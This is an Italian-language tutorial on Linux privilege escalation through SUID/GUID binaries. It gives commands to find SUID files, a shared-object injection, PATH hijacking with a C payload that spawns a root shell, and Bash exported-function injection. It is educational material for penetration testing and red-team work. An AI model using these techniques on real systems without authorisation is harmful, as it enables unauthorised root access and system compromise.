Tutorials

SUID / GUID - Privilege Escalation Techniques

L'escalation dei privilegi tramite SUID Set User ID e GUID Set Group ID rappresenta una delle tecniche più comuni e critiche per un attaccante, sfruttando i permessi speciali di esecuzione di file bin

#exploitation#post-exploitation#linux#privesc

SUID / GUID - Privilege Escalation Techniques

L'escalation dei privilegi tramite SUID (Set User ID) e GUID (Set Group ID) rappresenta una delle tecniche più comuni e critiche per un attaccante, sfruttando i permessi speciali di esecuzione di file binari o script con privilegi elevati.


1. Ricerca di file SUID e GUID

I file con il bit SUID o GUID settato vengono eseguiti con i privilegi dell'utente proprietario (tipicamente root) o del gruppo. Sono spesso sfruttabili per ottenere un'esecuzione privilegiata.

Permessi

  • SUID: rws--x--x
  • GUID: rwxr-s--x

Comandi utili:

bash
# Cerca file con SUID o GUID
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

Cerca solo i file con SUID

find / -perm -u=s -type f 2>/dev/null

Una volta individuati, si consiglia di cercare eventuali vulnerabilità note nei binari tramite Exploit-DB o Google.


2. SUID / GUID Shared Object Injection

Fase di Analisi:

Usare strace per capire quali file vengono caricati:

bash
strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"

Supponiamo che venga cercato un file inesistente:

bash
open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)

Sfruttamento:

Compiliamo una shared library malevola:

bash
gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c

Lanciando /usr/local/bin/suid-so, la shared library verrà caricata con privilegi root, ottenendo una shell elevata.


3. SUID / GUID Exploit tramite Environment Variables

Supponiamo di avere il binario /usr/local/bin/suid-env con SUID attivo. Eseguiamolo:

bash
/usr/local/bin/suid-env

Notiamo che tenta di avviare un servizio Apache, ma fallisce. Possiamo analizzare il contenuto del binario:

bash
strings /usr/local/bin/suid-env

Vediamo una chiamata tipo:

bash
service apache2 start

Poiché non usa il path completo, possiamo sfruttarlo creando un finto binario service:

bash
# Crea payload
nano /home/user/tools/suid/service.c

Contenuto:

c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() { setuid(0); setgid(0); system("/bin/bash"); return 0; }

Compilazione:

bash
gcc -o service /home/user/tools/suid/service.c
chmod +x service

Esecuzione del binario con PATH manipolato:

bash
PATH=.:$PATH /usr/local/bin/suid-env

4. SUID / GUID - Abuso delle Funzioni di Shell

Nel caso del binario /usr/local/bin/suid-env2, l'eseguibile utilizza il path completo:

bash
/usr/sbin/service apache2 start

Con versioni di Bash < 4.2-048 è possibile sfruttare la funzionalità di shell function injection:

bash
function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service

Eseguendo:

bash
/usr/local/bin/suid-env2

verrà eseguita la nostra funzione shell e otterremo una root shell.


Conclusioni

L'analisi dei binari SUID e GUID rappresenta una delle attività fondamentali durante la fase di post-exploitation. La comprensione del comportamento interno dei binari e l'utilizzo delle variabili d'ambiente, delle shared object e delle shell functions possono portare ad una escalation dei privilegi efficace e silente.

Suggerimento: Documenta sempre i binari SUID trovati, i loro comportamenti e i test eseguiti, per mantenere tracciabilità durante un engagement di red teaming o penetration test strutturato.